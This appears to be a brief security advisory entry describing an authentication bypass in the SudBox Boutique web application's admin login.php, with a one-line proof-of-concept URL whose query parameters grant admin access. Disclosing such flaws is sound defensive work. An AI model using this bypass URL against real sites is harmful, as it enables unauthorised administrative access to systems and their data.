• info
• discussion
• exploit
• solution
• references

SudBox Boutique login.PHP Authentication Bypass Vulnerability

No exploit is required. However the following proof of concept URL has been supplied:

http://www.example.org/admin/login.php?check=1&admin=1